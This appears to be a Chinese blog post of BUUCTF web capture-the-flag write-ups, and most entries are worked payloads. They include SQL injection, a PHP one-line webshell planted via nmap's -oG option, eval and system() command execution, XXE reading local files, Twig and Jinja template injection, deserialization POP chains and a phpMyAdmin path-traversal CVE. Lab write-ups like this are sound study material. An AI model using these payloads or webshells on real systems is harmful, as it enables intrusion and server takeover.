buuctf Web 刷题记录 2
参考:
无参数RCE总结
php无参数执行命令
最全phpmyadmin漏洞汇总
[网鼎杯 2018]Fakebook 访问/robots.txt
发现备份文件/user.php.bak
<?php class UserInfo { public $name = "" ; public $age = 0 ; public $blog = "" ; public function __construct ($name , $age , $blog ) { $this ->name = $name ; $this ->age = (int )$age ; $this ->blog = $blog ; } function get ($url ) { $ch = curl_init (); curl_setopt ($ch , CURLOPT_URL, $url ); curl_setopt ($ch , CURLOPT_RETURNTRANSFER, 1 ); $output = curl_exec ($ch ); $httpCode = curl_getinfo ($ch , CURLINFO_HTTP_CODE); if ($httpCode == 404 ) { return 404 ; } curl_close ($ch ); return $output ; } public function getBlogContents ( ) { return $this ->get ($this ->blog); } public function isValidBlog ( ) { $blog = $this ->blog; return preg_match ("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i" , $blog ); } }
curl_init()用来初始化一个curl会话,curl可以使用file伪协议读取文件。
注册登陆后发现网页/view.php?no=1
,存在sql注入
#版本 10.2.26-MariaDB-log /view.php?no=-1 union/**/select 1,version(),3,4%23 #数据库 fakebook /view.php?no=-1 union/**/select 1,database(),3,4%23 #表 users /view.php?no=-1 union/**/select 1,(select group_concat(table_name) from information_schema.tables where table_schema='fakebook'),3,4%23 #列 no,username,passwd,data /view.php?no=-1 union/**/select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3,4%23 #内容 O:8:"UserInfo":3:{s:4:"name";s:5:"ADMIN";s:3:"age";i:123;s:4:"blog";s:62:"http://0534be32-4335-4133-968c-fefec0550a80.node4.buuoj.cn:81/";} /view.php?no=-1 union/**/select 1,(select group_concat(data) from users),3,4%23
发现最后读出的内容是序列化后的数据,想到前面的curl
可以使用file
伪协议读取文件,故尝试读取flag
文件
<?php class UserInfo { public $name = "evo1ution" ; public $age = 10 ; public $blog = "file:///var/www/html/flag.php" ; } $a = new UserInfo ();echo serialize ($a );?>
修改后得到payload
/view.php?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:9:"evo1ution";s:3:"age";i:10;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
在页面源码的iframe
获得base64编码
PD9waHANCg0KJGZsYWcgPSAiZmxhZ3s2NzYyOGIyOS05MTY3LTQ2MGItYTEzMi05YTZiNTY2ZTc1NjV9IjsNCmV4aXQoMCk7DQo=
解码后
<?php $flag = "flag{67628b29-9167-460b-a132-9a6b566e7565}" ;exit (0 );
[RoarCTF 2019]Easy Java 点击help
发现
http://5ee09234-7e7f-446a-ad21-604cfd607d7f.node4.buuoj.cn:81/Download?filename=help.docx java.io.FileNotFoundException:{help.docx}
用post
传filename=help.docx
下载得到help.docx
![](D:/MyBlog/Blogs/buuPics/[RoarCTF 2019]Easy Java.png)
尝试filename=/WEB-INF/web.xml
得到
<?xml version="1.0" encoding="UTF-8" ?> <web-app xmlns ="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation ="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version ="4.0" > <welcome-file-list > <welcome-file > Index</welcome-file > </welcome-file-list > <servlet > <servlet-name > IndexController</servlet-name > <servlet-class > com.wm.ctf.IndexController</servlet-class > </servlet > <servlet-mapping > <servlet-name > IndexController</servlet-name > <url-pattern > /Index</url-pattern > </servlet-mapping > <servlet > <servlet-name > LoginController</servlet-name > <servlet-class > com.wm.ctf.LoginController</servlet-class > </servlet > <servlet-mapping > <servlet-name > LoginController</servlet-name > <url-pattern > /Login</url-pattern > </servlet-mapping > <servlet > <servlet-name > DownloadController</servlet-name > <servlet-class > com.wm.ctf.DownloadController</servlet-class > </servlet > <servlet-mapping > <servlet-name > DownloadController</servlet-name > <url-pattern > /Download</url-pattern > </servlet-mapping > <servlet > <servlet-name > FlagController</servlet-name > <servlet-class > com.wm.ctf.FlagController</servlet-class > </servlet > <servlet-mapping > <servlet-name > FlagController</servlet-name > <url-pattern > /Flag</url-pattern > </servlet-mapping > </web-app >
WEB-INF主要包含以下文件或目录: /WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。 /WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中 /WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件 /WEB-INF/src/:源码目录,按照包名结构放置各个java文件。 /WEB-INF/database.properties:数据库配置文件
使用filename=/WEB-INF/classes/com/wm/ctf/FlagController.class
得到
package defpackage;import java.io.IOException;import javax.servlet.ServletException;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;@WebServlet(name = "FlagController") public class FlagController extends HttpServlet { String flag = "ZmxhZ3swNzc5OTY5NC05ZGE3LTQwNmEtYTExMC1kNjAzMmZkNzNiYWF9Cg==" ; public void doGet (HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse) throws ServletException, IOException { httpServletResponse.getWriter().print("<h1>Flag is nearby ~ Come on! ! !</h1>" ); } }
解码其中的ZmxhZ3swNzc5OTY5NC05ZGE3LTQwNmEtYTExMC1kNjAzMmZkNzNiYWF9Cg==
即可
打开获得源码,payload
如下
?host='<?php @eval($_POST["a"]);?> -oG 1.php '
然后蚁剑连接即可,目录为md5值
http://e4c67e98-af95-4fe1-bbc4-ed2af50839e7.node4.buuoj.cn:81/66be3929475684f026651c8f42e8831e/1.php
PHP escapeshellarg()+escapeshellcmd() 之殇
[BJDCTF2020]The mystery of ip 模板注入
![](D:/MyBlog/Blogs/buuPics/[BJDCTF2020]The mystery of ip.png)
HTTP 请求头中的 X-Forwarded-For
[GXYCTF2019]禁止套娃 使用dirsearch
扫描后发现可能有git
源码泄露,使用GitHack 下载得到源码
<?php include "flag.php" ;echo "flag在哪里呢?<br>" ;if (isset ($_GET ['exp' ])){ if (!preg_match ('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i' , $_GET ['exp' ])) { if (';' === preg_replace ('/[a-z,_]+\((?R)?\)/' , NULL , $_GET ['exp' ])) { if (!preg_match ('/et|na|info|dec|bin|hex|oct|pi|log/i' , $_GET ['exp' ])) { @eval ($_GET ['exp' ]); } else { die ("还差一点哦!" ); } } else { die ("再好好想想!" ); } } else { die ("还想读flag,臭弟弟!" ); } } ?>
可以看到禁用了一些函数,并且从第三个if
可以看出是无参数RCE
法一 array_reverse() 构造payload
#查看flag.php位置 ?exp=print_r(scandir(current(localeconv()))); #查看flag ?exp=show_source(next(array_reverse(scandir(current(localeconv())))));
法二 session_id() 开启burp
,地址栏输入payload
?exp=show_source(session_id(session_start()));
添加Cookie
后放行即可
Cookie: PHPSESSID=flag.php
参考:[GXYCTF2019]禁止套娃–详解
[网鼎杯 2020 朱雀组]phpweb 抓包修改post
参数后从报错中发现使用了call_user_func()
Warning: call_user_func() expects parameter 1 to be a valid callback, function 'echo' not found or invalid function name in /var/www/html/index.php on line 24
测试后发现禁用了很多函数,不过file_get_contents
可以用,获得index.php
源码
<?php $disable_fun =array ("exec" ,"shell_exec" ,"system" ,"passthru" ,"proc_open" ,"show_source" ,"phpinfo" ,"popen" ,"dl" ,"eval" ,"proc_terminate" ,"touch" ,"escapeshellcmd" ,"escapeshellarg" ,"assert" ,"substr_replace" ,"call_user_func_array" ,"call_user_func" ,"array_filter" , "array_walk" ,"array_map" ,"registregister_shutdown_function" ,"register_tick_function" ,"filter_var" , "filter_var_array" , "uasort" , "uksort" , "array_reduce" ,"array_walk" , "array_walk_recursive" ,"pcntl_exec" ,"fopen" ,"fwrite" ,"file_put_contents" );function gettime ($func , $p ) { $result = call_user_func ($func , $p ); $a = gettype ($result ); if ($a == "string" ) { return $result ; } else {return "" ;} } class Test { var $p = "Y-m-d h:i:s a" ; var $func = "date" ; function __destruct ( ) { if ($this ->func != "" ) { echo gettime ($this ->func, $this ->p); } } } $func = $_REQUEST ["func" ];$p = $_REQUEST ["p" ];if ($func != null ) { $func = strtolower ($func ); if (!in_array ($func ,$disable_fun )) { echo gettime ($func , $p ); }else { die ("Hacker..." ); } } ?>
法一 \绕过 payload
如下
#查看当前目录 bg.jpg index.php index.php func=\system&p=ls #查看根目录 func=\system&p=ls / #查看tmp目录 flagoefiu4r93 pear pear func=\system&p=ls /tmp #查看flag func=\system&p=cat /tmp/flagoefiu4r93 #也可以直接用find查找flag所在目录 func=\system&p=find / -name flag*
法二 反序列化 所用exp
如下
<?php function gettime ($func , $p ) { $result = call_user_func ($func , $p ); $a = gettype ($result ); if ($a == "string" ) { return $result ; } else {return "" ;} } class Test { var $p = "cat /tmp/flagoefiu4r93" ; var $func = "system" ; function __destruct ( ) { if ($this ->func != "" ) { echo gettime ($this ->func, $this ->p); } } } $a = new Test ();echo serialize ($a ).PHP_EOL;?>
payload
如下
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}
参考: [网鼎杯 2020 朱雀组]之phpweb
[BJDCTF2020]ZJCTF,不过如此 打开获得源码
<?php error_reporting (0 );$text = $_GET ["text" ];$file = $_GET ["file" ];if (isset ($text )&&(file_get_contents ($text ,'r' )==="I have a dream" )){ echo "<br><h1>" .file_get_contents ($text ,'r' )."</h1></br>" ; if (preg_match ("/flag/" ,$file )){ die ("Not now!" ); } include ($file ); } else { highlight_file (__FILE__ ); } ?>
文件包含,使用如下payload
#url /?text=php://input&file=php://filter/read=convert.base64-encode/resource=next.php #post数据 I have a dream #也可以用data协议绕过文件内容验证 /?text=data://text/plain,I%20have%20a%20dream&file=php://filter/read/convert.base64-encode/resource=next.php
将得到的编码base64
解码后得到next.php
源码
<?php $id = $_GET ['id' ];$_SESSION ['id' ] = $id ;function complex ($re , $str ) { return preg_replace ( '/(' . $re . ')/ei' , 'strtolower("\\1")' , $str ); } foreach ($_GET as $re => $str ) { echo complex ($re , $str ). "\n" ; } function getFlag ( ) { @eval ($_GET ['cmd' ]); }
利用preg_replace() /e代码执行漏洞 即可(也可以参考这篇文章 )
/next.php?\S*=${getFlag()}&cmd=system('cat /flag');
[GWCTF 2019]我有一个数据库 根据提示找到phpmyadmin
页面,根据其版本4.8.1
进行百度,发现CVE-2018-12613
可用
/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../flag
参考:最全phpmyadmin漏洞汇总
[BSidesCF 2020]Had a bad day 使用/index.php?category=woofers1
测试后发现报错
Warning: include(woofers1.php): failed to open stream: No such file or directory in /var/www/html/index.php on line 37 Warning: include(): Failed opening 'woofers1.php' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/index.php on line 37
使用/index.php?category=php://filter/read/convert.base64-encode/resource=index
获得index.php
的源码,其中php
部分如下
<?php $file = $_GET ['category' ];if (isset ($file )){ if ( strpos ( $file , "woofers" ) !== false || strpos ( $file , "meowers" ) !== false || strpos ( $file , "index" )){ include ($file . '.php' ); } else { echo "Sorry, we currently only support woofers and meowers." ; } } ?>
读取flag.php
内容即可
#方法一 /index.php?category=php://filter/convert.base64-encode/index/resource=flag #方法二 /index.php?category=php://filter/read/convert.base64-encode/resource=woofers/../flag
<!-- Can you read this flag? --> <?php ?>
[BJDCTF2020]Mark loves cat 使用dirsearch
发现有git
源码泄露
python dirsearch.py -u http://2bdf7730-1332-4b14-b414-5dc7200276d0.node4.buuoj.cn:81/ -t 1 --timeout=2 -x 400,403,404,500,503,429
使用GitHack
下载源码
<?php $flag = file_get_contents ('/flag' );
<?php include 'flag.php' ;$yds = "dog" ;$is = "cat" ;$handsome = 'yds' ;foreach ($_POST as $x => $y ){ $$x = $y ; } foreach ($_GET as $x => $y ){ $$x = $$y ; } foreach ($_GET as $x => $y ){ if ($_GET ['flag' ] === $x && $x !== 'flag' ){ exit ($handsome ); } } if (!isset ($_GET ['flag' ]) && !isset ($_POST ['flag' ])){ exit ($yds ); } if ($_POST ['flag' ] === 'flag' || $_GET ['flag' ] === 'flag' ){ exit ($is ); } echo "the flag is: " .$flag ;
CTF之php变量覆盖漏洞
# payload-1 /?handsome=flag&flag=handsome # payload-2 /?yds=flag
[NCTF2019]Fake XML cookbook 抓包发现应为XXE
,构造流量包如下即可
POST /doLogin.php HTTP/1.1 Host : 4ea7c0d3-a5c1-4b83-8691-c7096d35acbd.node4.buuoj.cn:81User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0Accept : application/xml, text/xml, */*; q=0.01Accept-Language : zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding : gzip, deflateContent-Type : application/xml;charset=utf-8X-Requested-With : XMLHttpRequestContent-Length : 145Origin : http://4ea7c0d3-a5c1-4b83-8691-c7096d35acbd.node4.buuoj.cn:81Connection : closeReferer : http://4ea7c0d3-a5c1-4b83-8691-c7096d35acbd.node4.buuoj.cn:81/<?xml version="1.0" ?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///flag" > ]> <user > <username > &xxe; </username > <password > 1</password > </user >
[安洵杯 2019]easy_web 打开发现URL
中存在TXpVek5UTTFNbVUzTURabE5qYz0
,使用如下脚本得到555.png
,以及index.php
对应字符
<?php $img = 'TXpVek5UTTFNbVUzTURabE5qYz0' ;$s = hex2bin (base64_decode (base64_decode ($img ))); echo $s .PHP_EOL;$ss = 'index.php' ;echo base64_encode (base64_encode (bin2hex ($ss )));?>
故构造/index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=
并解码得到index.php
源码
<?php error_reporting(E_ALL || ~ E_NOTICE); header('content-type:text/html;charset=utf-8'); $cmd = $_GET['cmd']; if (!isset($_GET['img']) || !isset($_GET['cmd'])) header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd='); $file = hex2bin(base64_decode(base64_decode($_GET['img']))); $file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file); if (preg_match("/flag/i", $file)) { echo '<img src ="./ctf3.jpeg">'; die("xixi~ no flag"); } else { $txt = base64_encode(file_get_contents($file)); echo "<img src='data:image/gif;base64," . $txt . "'></img>"; echo "<br>"; } echo $cmd; echo "<br>"; if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) { echo("forbid ~"); echo "<br>"; } else { if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) { echo `$cmd`; } else { echo ("md5 is funny ~"); } } ?> <html> <style> body{ background:url(./bj.png) no-repeat center center; background-size:cover; background-attachment:fixed; background-color:#CCCCCC; } </style> <body> </body> </html>
最终payload
POST /index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=sort%20/flag HTTP/1.1 Host : 7157185a-232d-4603-931a-9f61c0d87bea.node4.buuoj.cn:81User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language : zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding : gzip, deflateReferer : http://7157185a-232d-4603-931a-9f61c0d87bea.node4.buuoj.cn:81/index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=ca\t%20/flagContent-Type : application/x-www-form-urlencodedContent-Length : 389Origin : http://7157185a-232d-4603-931a-9f61c0d87bea.node4.buuoj.cn:81Connection : closeUpgrade-Insecure-Requests : 1a= %4 d%c9 %68 %ff %0 e%e3 %5 c %20 %95 %72 %d4 %77 %7 b%72 %15 %87 %d3 %6 f%a7 %b2 %1 b%dc %56 %b7 %4 a%3 d%c0 %78 %3 e%7 b%95 %18 %af %bf %a2 %00 %a8 %28 %4 b%f3 %6 e%8 e%4 b%55 %b3 %5 f%42 %75 %93 %d8 %49 %67 %6 d%a0 %d1 %55 %5 d%83 %60 %fb %5 f%07 %fe %a2 &b= %4 d%c9 %68 %ff %0 e%e3 %5 c %20 %95 %72 %d4 %77 %7 b%72 %15 %87 %d3 %6 f%a7 %b2 %1 b%dc %56 %b7 %4 a%3 d%c0 %78 %3 e%7 b%95 %18 %af %bf %a2 %02 %a8 %28 %4 b%f3 %6 e%8 e%4 b%55 %b3 %5 f%42 %75 %93 %d8 %49 %67 %6 d%a0 %d1 %d5 %5 d%83 %60 %fb %5 f%07 %fe %a2
[强网杯 2019]高明的黑客 根据提示获得源码,直接网上嫖脚本一个个试即可
import reimport osimport requestsbase_dir = 'D:\\phpStudy\\phpstudy_pro\\WWW\\src' file=os.listdir(base_dir) zz=re.compile (r'(?<=_GET\[\').*(?=\'\])' ) for i in file[2663 :2665 ]: url="http://localhost/src/" +i f=open (base_dir+"\\" +i) data=f.read() f.close() res=zz.findall(data) for j in res: payload=url+"?" +j+"=echo 123456" ret=requests.get(payload) if "123456" in ret.text: print (payload) exit(1 )
最终payload
为xk0SzyKwfzw.php?Efa5BVG=cat%20/flag
[BJDCTF2020]Cookie is so stable F12发现hint:<!-- Why not take a closer look at cookies? -->
访问flag.php
抓包后发现,在POST
后的GET
请求的流量的cookie
中的user
字段存在模板注入漏洞,最终payload
GET /flag.php HTTP/1.1 Host : cd078bc1-3c20-4098-90ab-d2ab8f06ffa1.node4.buuoj.cn:81User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language : zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding : gzip, deflateReferer : http://cd078bc1-3c20-4098-90ab-d2ab8f06ffa1.node4.buuoj.cn:81/flag.phpConnection : closeCookie : PHPSESSID=60366b7e3fd3e008617661364746fa76; user={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}Upgrade-Insecure-Requests : 1
[WUSTCTF2020]朴实无华 发现存在robots.txt
,进入后看到fAke_f1agggg.php
,访问后在响应头发现Look_at_me:/fl4g.php
,访问后获得题目源码,使用火狐浏览器修复下即可(ALT
—>查看—>修复编码)
<?php header ('Content-type:text/html;charset=utf-8' );error_reporting (0 );highlight_file (__file__);if (isset ($_GET ['num' ])){ $num = $_GET ['num' ]; if (intval ($num ) < 2020 && intval ($num + 1 ) > 2021 ){ echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>" ; }else { die ("金钱解决不了穷人的本质问题" ); } }else { die ("去非洲吧" ); } if (isset ($_GET ['md5' ])){ $md5 =$_GET ['md5' ]; if ($md5 ==md5 ($md5 )) echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>" ; else die ("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲" ); }else { die ("去非洲吧" ); } if (isset ($_GET ['get_flag' ])){ $get_flag = $_GET ['get_flag' ]; if (!strstr ($get_flag ," " )){ $get_flag = str_ireplace ("cat" , "wctf2020" , $get_flag ); echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>" ; system ($get_flag ); }else { die ("快到非洲了" ); } }else { die ("去非洲吧" ); } ?>
PHP特性总结
/fl4g.php?num=1e4&md5=0e215962017&get_flag=more<fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
[安洵杯 2019]easy_serialize_php 点击获得源码
<?php $function = @$_GET ['f' ];function filter ($img ) { $filter_arr = array ('php' ,'flag' ,'php5' ,'php4' ,'fl1g' ); $filter = '/' .implode ('|' ,$filter_arr ).'/i' ; return preg_replace ($filter ,'' ,$img ); } if ($_SESSION ){ unset ($_SESSION ); } $_SESSION ["user" ] = 'guest' ;$_SESSION ['function' ] = $function ;extract ($_POST );if (!$function ){ echo '<a href="index.php?f=highlight_file">source_code</a>' ; } if (!$_GET ['img_path' ]){ $_SESSION ['img' ] = base64_encode ('guest_img.png' ); }else { $_SESSION ['img' ] = sha1 (base64_encode ($_GET ['img_path' ])); } $serialize_info = filter (serialize ($_SESSION ));if ($function == 'highlight_file' ){ highlight_file ('index.php' ); }else if ($function == 'phpinfo' ){ eval ('phpinfo();' ); }else if ($function == 'show_image' ){ $userinfo = unserialize ($serialize_info ); echo file_get_contents (base64_decode ($userinfo ['img' ])); }
打开phpinfo
界面发现d0g3_f1ag.php
,思路就是利用判断$function == 'show_image'
处的代码,通过反序列化对img
变脸进行赋值,然后进行文件读取
键逃逸 需要一个键值对就行了,直接构造会被过滤的键,这样值得一部分充当键,剩下得一部分作为单独的键值对
由于flag
字符串会被过滤,故可以构造
$_SESSION['flagflag'] = '";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}'
序列化后的字符串在过滤前后为
a:4:{s:4:"user";s:5:"guest";s:8:"function";s:10:"show_image";s:8:"flagflag";s:51:"";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";} a:4:{s:4:"user";s:5:"guest";s:8:"function";s:10:"show_image";s:8:"";s:51:"";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
这样的话,经过过滤,会出现";s:51:"=>aaa
键值对,进而达到了对img
变量的覆盖。
GET: /index.php?f=show_image POST: _SESSION[flagflag]=";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
阅读源码发现
<?php $flag = 'flag in /d0g3_fllllllag' ;?>
获取flag
GET: /index.php?f=show_image POST: _SESSION[flagflag]=";s:3:"aaa";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
值逃逸 需要两个连续的键值对,由第一个的值覆盖第二个的键,这样第二个值就逃逸出去,单独作为一个键值对
序列化后的字符串在过滤前后为
a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";} a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
最终payload
GET: /index.php?f=show_image POST: _SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:2:"dd";s:1:"a";}
[ASIS 2019]Unicorn shop unicode
欺骗,使用ↈ 进行购买即可
POST /charge HTTP/1.1 Host : a6036e5c-010e-4543-97de-377a5e562999.node4.buuoj.cn:81User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language : zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding : gzip, deflateContent-Type : application/x-www-form-urlencodedContent-Length : 20Origin : http://a6036e5c-010e-4543-97de-377a5e562999.node4.buuoj.cn:81Connection : closeReferer : http://a6036e5c-010e-4543-97de-377a5e562999.node4.buuoj.cn:81/chargeUpgrade-Insecure-Requests : 1id =4 &price=%E2%86 %88
[MRCTF2020]Ezpop 打开得到源码
Welcome to index.php <?php class Modifier { protected $var ; public function append ($value ) { include ($value ); } public function __invoke ( ) { $this ->append ($this ->var ); } } class Show { public $source ; public $str ; public function __construct ($file ='index.php' ) { $this ->source = $file ; echo 'Welcome to ' .$this ->source."<br>" ; } public function __toString ( ) { return $this ->str->source; } public function __wakeup ( ) { if (preg_match ("/gopher|http|file|ftp|https|dict|\.\./i" , $this ->source)) { echo "hacker" ; $this ->source = "index.php" ; } } } class Test { public $p ; public function __construct ( ) { $this ->p = array (); } public function __get ($key ) { $function = $this ->p; return $function (); } } if (isset ($_GET ['pop' ])){ @unserialize ($_GET ['pop' ]); } else { $a =new Show ; highlight_file (__FILE__ ); }
利用链
include <- Modifier::__invoke <- Test::__get <- Show::__toString <- Show::__construct
exp
<?php class Modifier { protected $var = 'php://filter/read=convert.base64-encode/resource=flag.php' ; } class Show { public $source ; public $str ; } class Test { public $p ; public function __construct ( ) { $this ->p = new Modifier (); } } $obj = new Show ();$obj ->source = $obj ;$obj ->str = new Test ();print_r (urlencode (serialize ($obj )));?>
最终payload
/?pop=O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Br%3A1%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7D
[WesternCTF2018]shrine 打开得源码
import flask import os app = flask.Flask(__name__) app.config['FLAG' ] = os.environ.pop('FLAG' ) @app.route('/' ) def index (): return open (__file__).read() @app.route('/shrine/' ) def shrine (shrine ): def safe_jinja (s ): s = s.replace('(' , '' ).replace(')' , '' ) blacklist = ['config' , 'self' ] return '' .join(['{{% set {}=None%}}' .format (c) for c in blacklist]) + s return flask.render_template_string(safe_jinja(shrine)) if __name__ == '__main__' : app.run(debug=True )
SSTI
模板注入
url_for这个可以用来构造url,接受函数名作为第一个参数
get_flashed_message()是通过flash()传入闪现信息列表的,能够把字符串对象表示的信息加入到一个消息列表,然后通过调用get_flashed_message()来取出。
#payload-1 /shrine/{{url_for.__globals__['current_app'].config}} #payload-2 /shrine/{{get_flashed_messages.__globals__['current_app'].config}}
[网鼎杯 2020 朱雀组]Nmap nmap
使用语句
nmap -v 127.0.0.1 给出了远程机器更详细的信息,显示冗余信息(扫描细节) nmap -iL nmaptest.txt 运行带“iL” 选项的nmap命令来扫描文件中列出的所有IP地址 nmap 192.168.0.* --exclude 192.168.0.100 使用“-exclude”选项来排除某些你不想要扫描的主机 nmap -A 192.168.0.101 启用操作系统和版本检测,脚本扫描和路由跟踪功能 nmap -O 127.0.0.1 使用选项“-O”和“-osscan-guess”也帮助探测操作系统信息 nmap -sA 192.168.0.101 扫描远程主机以探测该主机是否使用了包过滤器或防火墙 nmap -PN 192.168.0.101 扫描主机检测其是否受到数据包过滤软件或防火墙的保护 nmap -sP 192.168.0.* 找出网络中的在线主机 nmap -F 192.168.0.101 快速扫描,仅扫描nmap-services文件中的端口而避开所有其它的端口 nmap -f 192.168.96.4 使用小数据包发送,避免被识别出 nmap -r 192.168.0.101 不会随机的选择端口扫描 nmap -p 80,443 192.168.0.101 使用“-P”选项指定你想要扫描的端口 nmap -sV 192.168.0.101 查找主机服务版本号 nmap -PS 192.168.0.101 使用TCP ACK和TCP Syn方法来扫描远程主机(防火墙会阻断标ICMP包) nmap -Pn 192.168.96.4 目标机禁用ping,绕过ping扫描 nmap -sn 192.168.96.4 对目标进行ping检测,不进行端口扫描(发送四种报文确定目标是否存活) nmap -sS 192.168.0.101 执行一次隐蔽的扫描,安全,快 nmap -sT 192.168.0.101 使用TCP Syn扫描最常用的端口,不安全,慢 nmap -sN 192.168.0.101 执行TCP空扫描以骗过防火墙 nmap -sI 僵尸ip 目标ip 使用僵尸机对目标机发送数据包 nmap 192.168.96.4 -oX myscan.xml 对扫描结果另存在myscan.xml nmap -T1~6 192.168.96.4 设置扫描速度,一般T4足够 nmap –mtu 192.168.96.4 发送的包大小,最大传输单元必须是8的整数 nmap -D <假ip> 192.168.96.4 发送参杂着假ip的数据包检测 继续中断扫描: nmap –oG 1.txt –v 192.168.1.1/24 -oG将扫描结果保存为TXT,Ctrl+C中断扫描 Nmap –resume 1.txt 作用:继续扫描 参考:
参考:[网鼎杯 2020 朱雀组]Nmap
写入一句话木马即可
' <?=@eval($_POST[a]);?> -oG shell.phtml '
[CISCN 2019 初赛]Love Math 打开得到源码
